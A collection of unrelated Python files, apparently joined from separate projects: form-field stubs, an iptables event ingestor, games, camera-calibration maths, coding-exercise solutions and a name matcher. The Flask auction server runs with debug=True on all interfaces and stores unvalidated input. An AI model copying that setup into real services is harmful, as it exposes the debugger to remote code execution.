        height: int = ...,
        x: int = ...,
        y: int = ...,
        tooltip: Any | None = ...,
        name: Any | None = ...,
        annotationFlags: str = ...,
        fieldFlags: str = ...,
        forceBorder: bool = ...,
        relative: bool = ...,
        fontName: Any | None = ...,
        fontSize: Any | None = ...,
        dashLen: int = ...,
        maxlen: Any | None = ...,
        options=...,
    ): ...
    def choice(
        self,
        value: str = ...,
        fillColor: Any | None = ...,
        borderColor: Any | None = ...,
        textColor: Any | None = ...,
        borderWidth: int = ...,
        borderStyle: str = ...,
        width: int = ...,
        height: int = ...,
        x: int = ...,
        y: int = ...,
        tooltip: Any | None = ...,
        name: Any | None = ...,
        annotationFlags: str = ...,
        fieldFlags: str = ...,
        forceBorder: bool = ...,
        relative: bool = ...,
        fontName: Any | None = ...,
        fontSize: Any | None = ...,
        dashLen: int = ...,
        maxlen: Any | None = ...,
        options=...,
    ): ...
    def checkboxRelative(self, **kwds) -> None: ...
    def radioRelative(self, **kwds) -> None: ...
    def textfieldRelative(self, **kwds) -> None: ...
    def listboxRelative(self, **kwds) -> None: ...
    def choiceRelative(self, **kwds) -> None: ...
    @property
    def encRefStr(self): ...

class CBMark:
    opNames: Any
    opCount: Any
    ops: Any
    points: Any
    slack: Any
    def __init__(self, ops, points, bounds, slack: float = ...) -> None: ...
    def scaledRender(self, size, ds: int = ...): ...


import logging

import numpy as np
import six
import voluptuous

from monasca_analytics.ingestor import base
from monasca_analytics.source import iptables_markov_chain as src
import monasca_analytics.util.spark_func as fn
from monasca_analytics.util import validation_utils as vu

logger = logging.getLogger(__name__)

RDD_EVENT = "event"
RDD_CTIME = "ctime"
EVENT_MSG = "msg"

class IptablesIngestor(base.BaseIngestor):
    """This ingestor class implements an IPTable parsing and vectorization.

    Assuming the dstream contains iptables that have been triggered, it creates
    an np array for each sample wit the number of times that each IPTable has
    been triggered.
    """

    def __init__(self, _id, _config):
        super(IptablesIngestor, self).__init__(_id=_id, _config=_config)

    @staticmethod
    def validate_config(_config):
        iptables_schema = voluptuous.Schema({
            "module": voluptuous.And(six.string_types[0],
                                     vu.NoSpaceCharacter())
        }, required=True)
        return iptables_schema(_config)

    @staticmethod
    def get_default_config():
        return {"module": IptablesIngestor.__name__}

    @staticmethod
    def get_params():
        return []

    def map_dstream(self, dstream):
        """
        Map the provided dstream into another dstream.

        :type dstream: pyspark.streaming.DStream
        :param dstream: DStream to transform.
        :rtype: pyspark.streaming.DStream
        :return: Returns a new dstream.
        """
        features_list = list(self._features)
        return dstream.map(fn.from_json)\
            .map(lambda x: (x['ctime'], x))\
            .groupByKey()\
            .map(lambda rdd_entry: IptablesIngestor._process_data(
                rdd_entry[1],
                features_list))

    @staticmethod
    def _process_data(rdd_entry, feature_list):
        """Parse and vectorize the rdd_entry

        Assuming the rdd_entry is encoded in JSON format, this method
        gets the events and vectorizes them according to the features.

        :type rdd_entry: list[dict]
        :param rdd_entry: event
        :type feature_list: list[str]
        :param feature_list: features to extract, in order
        """
        events = []
        for event in rdd_entry:
            events.append(event[RDD_EVENT])
        return IptablesIngestor.vectorize_events(events, feature_list)

    @staticmethod
    def vectorize_events(events, feature_list):
        """Event vectorizing logic.

        For each event, we get the message,
        which is the IPTable that has been triggered.
        Then we get the corresponding feature for the IPtable.
        Finally, we increase the index of the vector corresponding to
        that feature.

        :type events: list[dict]
        :param events: List of collected events.
        :type feature_list: list[str]
        :param feature_list: features to extract, in order
        """
        ret = np.zeros(len(feature_list))
        for event in events:
            iptable_id = src.iptables[event[EVENT_MSG]]
            feature = src.get_iptable_type(iptable_id)
            index = feature_list.index(feature)
            ret[index] += 1
        return ret


import pygame
import random
import os

class TFlower(pygame.sprite.Sprite):
    sprites = [
        ('flower.png', 'sound_flower.wav'),
        ('flower1.png', 'sound_flower1.wav'),
        ('flower2.png', 'sound_flower2.wav'),
        ('flower3.png', 'sound_flower3.wav'),
    ]

    def __init__(self, parent, pos):
        pygame.sprite.Sprite.__init__(self)
        self.parent = parent
        sprite_basename, sound_basename = random.choice(self.sprites)
        self.image = pygame.image.load(os.path.join('assets', 'sprites', sprite_basename))
        self.sound_flower = pygame.mixer.Sound(os.path.join('assets', 'sounds', sound_basename))
        self.image = pygame.transform.scale(self.image,
                                            (100,
                                             100))
        self.rect = self.image.get_rect()
        self.rect.topleft = pygame.math.Vector2(self.parent.maze_rect.topleft) + pos

    def contact_object(self):
        if not self.parent.chan_2.get_busy():
            self.parent.chan_2.play(self.sound_flower)
        self.kill()


from django.urls import path

from .views import TagListView, TagPostListView

app_name = "tags"

urlpatterns = [
    path('', TagListView.as_view(), name='tag_list'),
    path('<slug:slug>/', TagPostListView.as_view(), name='posts_by_tag'),
]


import os
import json

from flask import Flask, request
from flask_cors import CORS

from datetime import datetime

from run_auction.run_auction import run_auction

app = Flask(__name__)
cors = CORS(app)

bids = None

@app.route('/bids', methods=['POST', 'GET'])
def get_all_bids():
    message = request.get_json(force=True)
    if 'bids' in message:
        bids = message['bids']
        f = open("bids.txt", "w")
        json.dump(bids, f)
        f.close()
        return 'Success', 200

@app.route('/auction', methods=['GET'])
def get_winning_bids():
    f = open("bids.txt", "r")
    data = f.read()
    bids = json.loads(data)
    num_bids = len(bids)
    # convert json date to python datetime
    for index in range (num_bids):
        start_time = bids[index]['start_time']
        end_time = bids[index]['end_time']
        bids[index]['start_time'] = datetime.strptime(start_time, '%Y-%m-%dT%H:%M:%S.%fZ')
        bids[index]['end_time'] = datetime.strptime(end_time, '%Y-%m-%dT%H:%M:%S.%fZ')
    winning_bids = run_auction(bids)
    return {"winning_bids": winning_bids}

if __name__ == "__main__":
    app.run(debug=True, host="0.0.0.0", port=int(os.environ.get("PORT", 8080)))


from person import Person
from manager import Manager

class Department(object):
    """as in work"""
    def __init__(self, *people):
        super(Department, self).__init__()
        self.members = list(people)

    def addMember(self, person):
        """new person after construction"""
        self.members.append(person)

    def giveRaises(self, percent):
        """when all get the same raise"""
        for person in self.members:
            person.giveRaise(percent)

    def showAll(self):
        """display all department members"""
        for person in self.members:
            print(person)

def main():
    """adhoc testing"""
    sue = Person("Sue Jones", job="dev", pay=100000)
    bob = Person("Bob Smith")
    tom = Manager('Tom Jones', 50000)
    dep = Department(sue, bob)
    dep.showAll()
    dep.addMember(tom)
    dep.showAll()
    dep.giveRaises(.10)
    dep.showAll()

if __name__ == '__main__':
    main()


# Author: Javad Amirian
# Email: amiryan.j@gmail.com
# from https://github.com/lessandro/nbis/blob/rel-4.0.0/misc/nistmeshlab/meshlab/src/external/tsai-30b3/cal_tran.c
# original paper: https://www.dca.ufrn.br/~lmarcos/courses/visao/artigos/CameraCalibrationTsai.pdf
import math

SQR = lambda x: x ** 2
CUB = lambda x: x ** 3
SQRT = lambda x: math.sqrt(x)
CBRT = lambda x: 0 if (x == 0) else ((x ** (1 / 3.0)) if (x > 0) else (-(-x ** (1 / 3.0))))
hypot = lambda x, y: SQRT(x * x + y * y)
SINCOS = lambda x: (math.sin(x), math.cos(x))

SQRT3 = 1.732050807568877293527446341505872366943

class CameraParameters:
    def __init__(self):
        self.Ncx = 0  # /* [sel]     Number of sensor elements in camera's x direction   */
        self.Nfx = 0  # /* [pix]     Number of pixels in frame grabber's x direction     */
        self.dx = 0  # /* [mm/sel]  X dimension of camera's sensor element (in mm)      */
        self.dy = 0  # /* [mm/sel]  Y dimension of camera's sensor element (in mm)      */
        self.dpx = 0  # /* [mm/pix]  Effective X dimension of pixel in frame grabber     */
        self.dpy = 0  # /* [mm/pix]  Effective Y dimension of pixel in frame grabber     */
        self.Cx = 0  # /* [pix]     Z axis intercept of camera coordinate system        */
        self.Cy = 0  # /* [pix]     Z axis intercept of camera coordinate system        */
        self.sx = 0  # /* []        Scale factor to compensate for any error in dpx     */

class CalibrationConstants:
    def __init__(self):
        self.f = 0  # /* [mm]          */
        self.kappa1 = 0  # /* [1/mm^2]      */
        self.p1 = 0  # /* [1/mm]        */
        self.p2 = 0  # /* [1/mm]        */

        self.Tx = 0  # /* [mm]          */
        self.Ty = 0  # /* [mm]          */
        self.Tz = 0  # /* [mm]          */

        self.Rx = 0  # /* [rad]	        */
        self.Ry = 0  # /* [rad]	        */
        self.Rz = 0  # /* [rad]	        */

        self.r1 = 0  # /* []            */
        self.r2 = 0  # /* []            */
        self.r3 = 0  # /* []            */
        self.r4 = 0  # /* []            */
        self.r5 = 0  # /* []            */
        self.r6 = 0  # /* []            */
        self.r7 = 0  # /* []            */
        self.r8 = 0  # /* []            */
        self.r9 = 0  # /* []            */

    def calc_rr(self):
        sa, ca = SINCOS(self.Rx)
        sb, cb = SINCOS(self.Ry)
        sg, cg = SINCOS(self.Rz)

        self.r1 = cb * cg
        self.r2 = cg * sa * sb - ca * sg
        self.r3 = sa * sg + ca * cg * sb
        self.r4 = cb * sg
        self.r5 = sa * sb * sg + ca * cg
        self.r6 = ca * sb * sg - cg * sa
        self.r7 = -sb
        self.r8 = cb * sa
        self.r9 = ca * cb

# ************************************************************************
# /* convert from distorted sensor to undistorted sensor plane coordinates */
# ************************************************************************
def __distorted_to_undistorted_sensor_coord__(Xd, Yd, cc: CalibrationConstants):
    distortion_factor = 1 + cc.kappa1 * (SQR(Xd) + SQR(Yd))
    Xu = Xd * distortion_factor
    Yu = Yd * distortion_factor
    return Xu, Yu

# /***********************************************************************\
# * This routine performs an inverse perspective projection to determine	*
# * the position of a point in world coordinates that corresponds to a 	*
# * given position in image coordinates.  To constrain the inverse	*
# * projection to a single point the routine requires a Z world	 	*
# * coordinate for the point in addition to the X and Y image coordinates.*
# \***********************************************************************/
def image_coord_to_world_coord(Xfd, Yfd, zw, cp: CameraParameters, cc: CalibrationConstants):
    # /* convert from image to distorted sensor coordinates */
    Xd = cp.dpx * (Xfd - cp.Cx) / cp.sx
    Yd = cp.dpy * (Yfd - cp.Cy)

    # /* convert from distorted sensor to undistorted sensor plane coordinates */
    Xu, Yu = __distorted_to_undistorted_sensor_coord__(Xd, Yd, cc)

    # /* calculate the corresponding xw and yw world coordinates	 */
    # /* (these equations were derived by simply inverting	 */
    # /* the perspective projection equations using Macsyma)	 */
    common_denominator = ((cc.r1 * cc.r8 - cc.r2 * cc.r7) * Yu +
                          (cc.r5 * cc.r7 - cc.r4 * cc.r8) * Xu -
                          cc.f * cc.r1 * cc.r5 + cc.f * cc.r2 * cc.r4)

    xw = (((cc.r2 * cc.r9 - cc.r3 * cc.r8) * Yu +
           (cc.r6 * cc.r8 - cc.r5 * cc.r9) * Xu -
           cc.f * cc.r2 * cc.r6 + cc.f * cc.r3 * cc.r5) * zw +
          (cc.r2 * cc.Tz - cc.r8 * cc.Tx) * Yu +
          (cc.r8 * cc.Ty - cc.r5 * cc.Tz) * Xu -
          cc.f * cc.r2 * cc.Ty + cc.f * cc.r5 * cc.Tx) / common_denominator

    yw = -(((cc.r1 * cc.r9 - cc.r3 * cc.r7) * Yu +
            (cc.r6 * cc.r7 - cc.r4 * cc.r9) * Xu -
            cc.f * cc.r1 * cc.r6 + cc.f * cc.r3 * cc.r4) * zw +
           (cc.r1 * cc.Tz - cc.r7 * cc.Tx) * Yu +
           (cc.r7 * cc.Ty - cc.r4 * cc.Tz) * Xu -
           cc.f * cc.r1 * cc.Ty + cc.f * cc.r4 * cc.Tx) / common_denominator

    return xw, yw

# /************************************************************************/
# /*
#        This routine converts from undistorted to distorted sensor coordinates.
#        The technique involves algebraically solving the cubic polynomial
#             Ru = Rd * (1 + kappa1 * Rd**2)
#        using the Cardan method.
#        Note: for kappa1 < 0 the distorted sensor plane extends out to a maximum
#              barrel distortion radius of  Rd = sqrt (-1/(3 * kappa1)).
# 	     To see the logic used in this routine try graphing the above polynomial
# 	     for positive and negative kappa1's
# */
def undistorted_to_distorted_sensor_coord(Xu, Yu, cc: CalibrationConstants):
    if ((Xu == 0) and (Yu == 0)) or (cc.kappa1 == 0):
        Xd = Xu
        Yd = Yu
        return Xd, Yd

    Ru = hypot(Xu, Yu)  # /* SQRT(Xu*Xu+Yu*Yu) */
    c = 1 / cc.kappa1
    d = -c * Ru

    Q = c / 3
    R = -d / 2
    D = CUB(Q) + SQR(R)

    if D >= 0:  # /* one real root */
        D = SQRT(D)
        S = CBRT(R + D)
        T = CBRT(R - D)
        Rd = S + T

        if Rd < 0:
            Rd = SQRT(-1 / (3 * cc.kappa1))
            print("\nWarning: undistorted image point to distorted image point mapping limited by\n")
            print("         maximum barrel distortion radius of %lf\n", Rd)
            print("         (Xu = %lf, Yu = %lf) -> (Xd = %lf, Yd = %lf)\n\n",
                  Xu, Yu, Xu * Rd / Ru, Yu * Rd / Ru)

    else:  # /* three real roots */
        D = SQRT(-D)
        S = CBRT(hypot(R, D))
        T = math.atan2(D, R) / 3
        sinT, cosT = SINCOS(T)

        # /* the larger positive root is    2*S*cos(T)                   */
        # /* the smaller positive root is   -S*cos(T) + SQRT(3)*S*sin(T) */
        # /* the negative root is           -S*cos(T) - SQRT(3)*S*sin(T) */

        Rd = -S * cosT + SQRT3 * S * sinT  # /* use the smaller positive root */

    lmbd = Rd / Ru
    Xd = Xu * lmbd
    Yd = Yu * lmbd
    return Xd, Yd

# /***********************************************************************\
# * This routine takes the position of a point in world coordinates [mm]	*
# * and determines the position of its image in image coordinates [pix].	*
# \***********************************************************************/
def world_coord_to_image_coord(xw, yw, zw, cp: CameraParameters, cc: CalibrationConstants):
    # /* convert from world coordinates to camera coordinates */
    xc = cc.r1 * xw + cc.r2 * yw + cc.r3 * zw + cc.Tx
    yc = cc.r4 * xw + cc.r5 * yw + cc.r6 * zw + cc.Ty
    zc = cc.r7 * xw + cc.r8 * yw + cc.r9 * zw + cc.Tz

    # /* convert from camera coordinates to undistorted sensor plane coordinates */
    Xu = cc.f * xc / zc
    Yu = cc.f * yc / zc

    # /* convert from undistorted to distorted sensor plane coordinates */
    Xd, Yd = undistorted_to_distorted_sensor_coord(Xu, Yu, cc)

    # /* convert from distorted sensor plane coordinates to image coordinates */
    Xf = Xd * cp.sx / cp.dpx + cp.Cx
    Yf = Yd / cp.dpy + cp.Cy

    return Xf, Yf


#######################
# Groupe MIASHS 4
# RASOLONJATOVO RINA ANDRIANINA
# ZAGMO BONNI RAMEZ
# VHILES LEA
# MAGHLAOUA ILYES
# AHMED KAISS BOURHA
# FALLIES CHARLOTTE
#######################

#######################
# import de la librairie

from tkinter import *
import tkinter.font as font
import random

#######################
# définition des variables globales

couleurs = ["RED", "BLUE", "GREEN", "PINK", "ORANGE", "YELLOW", "WHITE"]
mots = ["RED", "BLUE", "GREEN", "PINK", "ORANGE", "YELLOW", "WHITE"]
labels = []
nombre = 0
couleur_random = ''
temps = 30
score = 0
couleur_a_afficher = []
text_a_afficher = []
WIDTH = 600
HEIGHT = 380
nbclick = 0
reponse = []
comment_jouer = "Tapez la couleur des mots, et pas le texte des mots !!!"

#######################
# définition des fonctions

def debut_du_jeu():
    """fonction qui initialise le debut du jeu"""
    global couleur_random, nombre, labels
    global couleur_a_afficher, text_a_afficher
    couleur_a_afficher.clear
    text_a_afficher.clear
    nombre = random.randint(2, 6)
    generermot(nombre)
    create_labels(nombre)
    if(temps == 30):
        Compte_a_rebours()
        for i in range(nombre):
            labels[i].config(text=text_a_afficher[i], fg=couleur_a_afficher[i])

def Compte_a_rebours():
    """fonction qui initialise le compte à rebours"""
    global temps
    if(temps >= 0):
        temps_restant.config(text="Temps restant : " + str(temps))
        temps -= 1
        temps_restant.after(1000, Compte_a_rebours)
        if (temps == -1):
            temps_restant.config(text="Temps restant : 0")

def generermot(nombre):
    """ fonction qui génère le mot composé dans une liste"""
    global couleur_random
    for i in range(nombre):
        text_a_afficher.append(mots[random.randint(0, len(mots)-1)])
        couleur_a_afficher.append(couleurs[random.randint(0, len(couleurs)-1)])

def create_labels(nombre):
    """fonction qui place le mots composé dans un label de texte et insère le
     tout dans un frame( fenetre fille )pour tout centralisé sur le canevas"""
    global labels
    labels.clear
    y = 0
    lblframe = Frame(canevas, width=WIDTH, height=HEIGHT)
    lblframe.grid(row=3, column=0, padx=25, pady=25, sticky="w")
    for i in range(nombre):
        lbl = Label(lblframe, font=(font.Font(size=16)), bg='grey74')
        lbl.grid(row=3, column=y)
        labels.append(lbl)
        y += 1

def prochainmots(idx):
    """fonction qui controle les couleurs saisies et les couleurs affichées;
    Si elles correspondent alors on génère un nouveau mot composé"""
    global nombre, score, couleurs, labels
    global nbclick, reponse, couleur_a_afficher, text_a_afficher
    if(temps > 0):
        reponse.append(couleurs[idx])
        nbclick += 1
        if nbclick == nombre:
            if reponse == couleur_a_afficher:
                score += 1
                score_jeu.config(text=" Score : " + str(score))
            for i in range(len(labels)):
                labels[i].destroy()
            labels.clear()
            nombre = random.randint(2, 6)
            nbclick = 0
            create_labels(nombre)
            reponse = []
            text_a_afficher = []
            couleur_a_afficher = []
            generermot(nombre)
            for i in range(nombre):
                labels[i].config(text=text_a_afficher[i], fg=couleur_a_afficher[i])

def rejouer():
    """fonction qui permet de reinitliser le score et
    le temps pour jouer à nouveau"""
    global score, temps
    score = 0
    score_jeu.config(text="Score :" + str(score))
    temps = 30
    temps_restant.config(text="Temps restant : " + str(temps))

#######################
# programme principal
ma_fenetre = Tk()
ma_fenetre.title("Jeu de couleurs")
ma_fenetre.geometry('600x380')
ma_fenetre.resizable(width=False, height=False)
# creation des widgets
canevas = Canvas(ma_fenetre, width=WIDTH, height=HEIGHT, bg='grey74')
parametre_font = font.Font(family='Ubuntu', size=14)
description_jeu = Label(canevas, text=comment_jouer, font=parametre_font, fg="black")
score_jeu = Label(canevas, text="Score : " + str(score), font=parametre_font, fg="black")
temps_restant = Label(canevas, text="Temps restant : 30", font=parametre_font, fg="black")
# placements des widgets
canevas.grid()
description_jeu.grid(row=0, column=0, columnspan=1, padx=50, sticky='w')
score_jeu.grid(row=1, column=0, padx=250, sticky='w')
temps_restant.grid(row=2, column=0, padx=210, sticky='w')

#######################
# Creation de boutons et placements

"""boutons de couleurs"""
# Bouton rouge
boutton_rouge = Button(canevas, text="Rouge ", width=5, font=(font.Font(weight="bold", size=10)),
                       fg="black", bg="red", bd=0, padx=10, pady=10, command=lambda: prochainmots(0))
boutton_rouge.grid(row=4, column=0, padx=50, pady=0, sticky='w')
# Bouton bleu
boutton_bleu = Button(canevas, text="Bleu ", width=5, font=(font.Font(weight="bold", size=10)),
                      fg="black", bg="blue", bd=0, padx=10, pady=10, command=lambda: prochainmots(1))
boutton_bleu.grid(row=4, column=0, padx=150, pady=0, sticky='w')
# Bouton vert
boutton_vert = Button(canevas, text="Vert ", width=5, font=(font.Font(weight="bold", size=10)),
                      fg="black", bg="green", bd=0, padx=10, pady=10, command=lambda: prochainmots(2))
boutton_vert.grid(row=4, column=0, padx=250, pady=0, sticky='w')
# Bouton rose
boutton_rose = Button(canevas, text="Rose", width=5, font=(font.Font(weight="bold", size=10)),
                      fg="black", bg="pink", bd=0, padx=10, pady=10, command=lambda: prochainmots(3))
boutton_rose.grid(row=4, column=0, padx=350, pady=0, sticky='w')
# Bouton orange
boutton_orange = Button(canevas, text="Orange  ", width=5, font=(font.Font(weight="bold", size=10)),
                        fg="black", bg="orange", bd=0, padx=10, pady=10,
                        command=lambda: prochainmots(4))
boutton_orange.grid(row=4, column=0, padx=450, pady=0, sticky='w')
# Bouton jaune
boutton_jaune = Button(canevas, text="Jaune ", width=5, font=(font.Font(weight="bold", size=10)),
                       fg="black", bg="yellow", bd=0, padx=10, pady=10, command=lambda: prochainmots(5))
boutton_jaune.grid(row=5, column=0, padx=200, pady=25, sticky='w')
# Bouton blanc
boutton_blanc = Button(canevas, text="Blanc", width=5, font=(font.Font(weight="bold", size=10)),
                       fg="black", bg="white", bd=0, padx=10, pady=10, command=lambda: prochainmots(6))
boutton_blanc.grid(row=5, column=0, padx=300, pady=25, sticky='w')

"""boutons de fonctionnement"""
# Bouton de demarrage
bouton_demarrer = Button(canevas, text="Démarrer", width=20, fg="black", bg="gainsboro", pady=10,
                         relief="flat", command=debut_du_jeu)
bouton_demarrer.grid(row=6, column=0, padx=10, pady=20, sticky='w')
# Bouton de reinitialisation
bouton_reinitialiser = Button(canevas, text="Réinitialiser", width=20, fg="black", bg="gainsboro",
                              pady=10, relief="flat", command=rejouer)
bouton_reinitialiser.grid(row=6, column=0, padx=440, pady=20, sticky='w')

#######################
# boucle pricipale
"""raffraichis la fenetre"""
ma_fenetre.mainloop()


areaDict={}
class area:
    def __init__(self,name:str, areanum:int, monsters:list, shopitems:list):
        self.name=name
        self.areanum=areanum
        self.monsters=monsters
        self.items= shopitems
        areaDict[self.areanum]=self

    # Makes the monsters inside monsters:list actual characters
    def init(self,monlist:list,itemDict:dict):
        self.monsters.clear()
        for i in monlist:
            if i.area.areanum==self.areanum:
                self.monsters.append(i)
        for key,data in itemDict.items():
            for i in data.area:
                if i==self.areanum:
                    self.items.append(data)

area("Null", 0, [],[])
area("Green Hills", 1, [],[])
area("Enchanting Forest", 2, [],[])
area("Dry Wastelands", 3, [],[])


'''
Created on Jul 7, 2013

@author: Daniel
'''

class ReactionPathway(object):

    def __init__(self, mgi_id, reactome_id, reaction_name):
        self.mgi_id = mgi_id
        self.reactome_id = reactome_id
        self.reaction_name = reaction_name


"""
6730. 장애물 경주 난이도 D3

참가자들은 가장 처음 블록 위에서 가장 마지막 블록의 위로 이동해야 한다.

이 프로그램을 보고 있던 준홍이는 심심해서 이 장애물 경주가 얼마나 어려울지 난이도를 매겨 보기로 했다.

참가자가 이동하는 도중에 다음 블록의 높이가 현재 블록의 높이보다 높다면 올라가야 할 것이고,

다음 블록의 높이가 낮다면 내려가야 할 것이다.

준홍이의 생각에 이 둘은 서로 다른 능력을 필요로 하므로,

주어진 장애물에서 올라갈 때의 높이 변화와 내려갈 때의 높이 변화 둘 각각에 대해

가장 높이 변화가 심한 부분을 난이도라 하기로 했다.

예를 들어 위와 같이 장애물이 서 있다고 하자. 밑에 적힌 수가 직사각형 블록의 높이이다.

이 때, 올라갈 때 가장 심한 높이 변화는 60이고 내려갈 때 가장 심한 높이 변화는 40이다.

그러므로 이 장애물 경주의 난이도는 60, 40이다.

장애물들이 주어질 때, 준홍이의 기준으로 난이도가 어떻게 매겨지는지 구하는 프로그램을 작성하라.

[입력]

첫 번째 줄에 테스트 케이스의 수 T가 주어진다.

각 테스트 케이스의 첫 번째 줄에는 직사각형 블록의 개수를 나타내는 하나의 정수 N ( 2 ≤ N ≤ 100 )이 주어진다.

두 번째 줄에는 N개의 정수가 공백으로 구분되어 주어진다.

이는 직사각형 블록의 높이를 블록이 늘어선 순서대로 나타낸 것이다.

각 블록의 높이는 1이상 1,000이하이다.

[출력]

각 테스트 케이스마다 ‘#x’(x는 테스트케이스 번호를 의미하며 1부터 시작한다)를 출력하고 한 칸을 띄운 후,

올라갈 때 가장 심한 높이 변화와 내려갈 때 가장 심한 높이 변화를 공백 하나로 구분하여 출력한다.

만약 올라가는 부분이나 내려가는 부분이 없다면, 0을 출력하면 된다.

"""

for case in range(1, int(input())+1):
    num = int(input())
    stair = list(map(int, input().split()))
    easy = 0
    hard = 0
    temp = 0
    for i in range(0, num-1):
        if stair[i] < stair[i+1]: #hard case
            temp = stair[i+1] - stair[i]
            if temp > hard:
                hard = temp
        elif stair[i] > stair[i+1]: #easy case
            temp = stair[i] - stair[i+1]
            if temp > easy:
                easy = temp

    print("#{} {} {}".format(case, hard, easy))


from organizationWebsiteMatcher import cnameMatcher
from tqdm import tqdm
import pandas as pd

def calculate_matched_score(df):
    for index, row in tqdm(df.iterrows(),ncols=75,desc="Matching"):
        company_name,website_title,cr_txt,website_url = None,None,None,None
        company_name = row['Name']
        website_title = row['website_title']
        if not website_title:
            website_title = row['website_name']
        cr_txt = row['website_copyright']
        website_url = row['Company Website']

        matching = cnameMatcher(company_name,website_title=website_title,copyright_statement=cr_txt,web_url=website_url)
        matching_result = matching.result()
        matched_text = matching_result[0]
        # match_score = int(matching_result[1]) if int(matching_result[1]) == 100 else int(matching_result[1])+1
        match_score = matching_result[1]

        # row['matched_text'] = matched_text
        # row['matched_score'] = match_score

        df.at[index, 'matched_text'] = matched_text
        df.at[index, 'matched_score'] = match_score

    return df

if __name__ == '__main__':
    # df = pd.read_excel(r'company_webtitle_copyright.xlsx', sheet_name='Sheet1')
    # df['matched_text'] = ""
    # df['matched_score'] = ""
    # df = df.replace(float('nan'), '', regex=True)

    # new_df = calculate_matched_score(df)
    # new_df.to_excel(r'company_webtitle_copyright_match_result.xlsx', index = False, header=True)

    # df = pd.read_excel(r'StarHub-UEN_Batch 3 withdirector_count_MoreThanOne_new.xlsx', sheet_name='StarHub-UEN_Batch 3 withdirecto')
    # df['matched_text'] = ""
    # df['matched_score'] = ""
    # df = df.replace(float('nan'), '', regex=True)
    # print( df.head(15) )

    # new_df = calculate_matched_score(df)
    # print( new_df.head(15) )
    # new_df.to_excel(r'StarHub-UEN_Batch 3 withdirector_count_MoreThanOne_new1.xlsx', index=False, header=True)

    # =================================================================================================================== #

    cr_txt = "copyright © 2006 - 2020 by ttt corporation"
    website_title = "TTT Corporation"
    site_name = "TTT Corporation"
    company_name = "TTT Co., Ltd"
    website_url = "www.vi.ttt.vn"

    matching = cnameMatcher(company_name,website_title=website_title,copyright_statement=cr_txt,web_url=website_url)
    print(
        f"{matching.company_name} \n{matching.copyright_statement} \n{matching.website_title} \n{matching.web_domain} "
    )
    print("")
    print(
        f"matching result: {matching.result()}"
    )

    # =================================================================================================================== #


# -*- coding: utf-8 -*-
#
from __future__ import division

import numpy
import sympy

from ..helpers import untangle, fsd, pm
from .helpers import integrate_monomial_over_unit_nsphere

class Stroud1967(object):
    """
    A.H. Stroud,
    Some Seventh Degree Integration Formulas for Symmetric Regions,
    SIAM J. Numer. Anal., 4(1), 37–44. (8 pages),
    <https://doi.org/10.1137/0704004>.
    """

    def __init__(self, n, symbolic=False):
        sqrt = sympy.sqrt if symbolic else numpy.sqrt
        frac = sympy.Rational if symbolic else lambda x, y: x / y

        self.dim = n
        self.degree = 7

        r = 1
        s = sqrt(frac(1, n))
        t = sqrt(frac(1, 2))
        B = frac(8 - n, n * (n + 2) * (n + 4))
        C = frac(n ** 3, 2 ** n * n * (n + 2) * (n + 4))
        D = frac(4, n * (n + 2) * (n + 4))

        data = [
            (B, fsd(n, (r, 1))),
            (C, pm(n, s)),
            # ERR Stroud's book wrongly states (t, t,..., t)_FS instead of
            # (t, t, 0, ..., 0)_FS.
            (D, fsd(n, (t, 2))),
        ]

        self.points, self.weights = untangle(data)
        self.weights *= integrate_monomial_over_unit_nsphere(n * [0], symbolic=symbolic)
        return


from aocd import data
from aocd import submit

from parse import parse

def part_a(data):
    conditions, _, nearby_tickets = parse_data(data)

    total = 0
    for ticket in nearby_tickets:
        total += sum(get_invalid_nums(conditions, ticket))
    return total

def part_b(data):
    conditions, myticket, nearby_tickets = parse_data(data)

    valid_tickets = []
    for ticket in nearby_tickets:
        if is_valid(conditions, ticket):
            valid_tickets.append(ticket)

    matching = match_condition(conditions, valid_tickets)

    total = 1
    for index, condition in matching.items():
        if condition["title"].startswith("departure"):
            total *= myticket[index]

    return total

def match_condition(conditions, tickets, valid_field_mapping=None):
    size = len(tickets[0])
    i = 0
    if valid_field_mapping is None:
        valid_field_mapping = {}
    while i < size:
        if i in valid_field_mapping.keys():
            i += 1
            continue
        values_for_index = [ticket[i] for ticket in tickets]

        valid_conditions = []
        conditions_to_check = set(conditions).difference(valid_field_mapping.values())

        for condition in conditions_to_check:
            possibility = all([valid_for(condition, num) for num in values_for_index])  # has to only fit once for all
            if possibility:
                valid_conditions.append(condition)
        if len(valid_conditions) == 1:  # found valid connection, possibly reloop?
            valid_field_mapping[i] = valid_conditions[0]
            i = 0
        else:
            i += 1
            if i == size and len(valid_field_mapping) < size:
                raise Exception("Impossible input!")

    return valid_field_mapping

def get_invalid_nums(conditions, ticket):
    invalid_nums = []
    for num in ticket:
        validity = [valid_for(condition, num) for condition in conditions]
        invalid = not any(validity)
        if invalid:
            invalid_nums.append(num)
    return invalid_nums

def is_valid(conditions, ticket):
    for num in ticket:
        validity = [valid_for(condition, num) for condition in conditions]
        invalid = not any(validity)
        if invalid:
            return False
    return True

def valid_for(condition, num):
    if num < condition["low1"] or (condition["hi1"] < num < condition["low2"]) or num > condition["hi2"]:
        return False
    return True

def parse_data(data):
    conditions_text, myticket_text, nearby_tickets_text = data.strip().split("\n\n")
    conditions = [parse("{title}: {low1:d}-{hi1:d} or {low2:d}-{hi2:d}", line) for line in conditions_text.split("\n")]
    myticket = list(map(int, myticket_text.split("\n")[1].split(",")))
    nearby_tickets = [list(map(int, line.split(","))) for line in nearby_tickets_text.split("\n")[1:]]

    return conditions, myticket, nearby_tickets

test_data = """
class: 1-3 or 5-7
row: 6-11 or 33-44
seat: 13-40 or 45-50

your ticket:
7,1,14

nearby tickets:
7,3,47
40,4,50
55,2,20
38,6,12
"""

test_data_b = """
class: 0-1 or 4-19
row: 0-5 or 8-19
seat: 0-13 or 16-19

your ticket:
11,12,13

nearby tickets:
3,9,18
15,1,5
5,14,9
"""

if __name__ == "__main__":
    assert part_a(test_data) == 71
    solution_a = part_a(data)
    # submit(solution_a, part="a", day=16, year=2020)

    # part_b(test_data_b)
    solution_b = part_b(data)
    # submit(solution_b, part="b", day=16, year=2020)


# -*- coding: utf-8 -*-
import unicodedata

class Encoder:
    """
    Utility class used to safely encode dangerous characters in specific contexts.

    Returns UTF-8 type hex entity encoded codepoint values for sensitive characters.

    Based on OWASP's guidance: https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/DOM_based_XSS_Prevention_Cheat_Sheet.md
    """

    @classmethod
    def encode_for_HTML_content(cls, input):
        """
        UTF-8 hex entity encodes the input character
        if it is not one of the below characters.
        &, <, >, ", ', /
        """

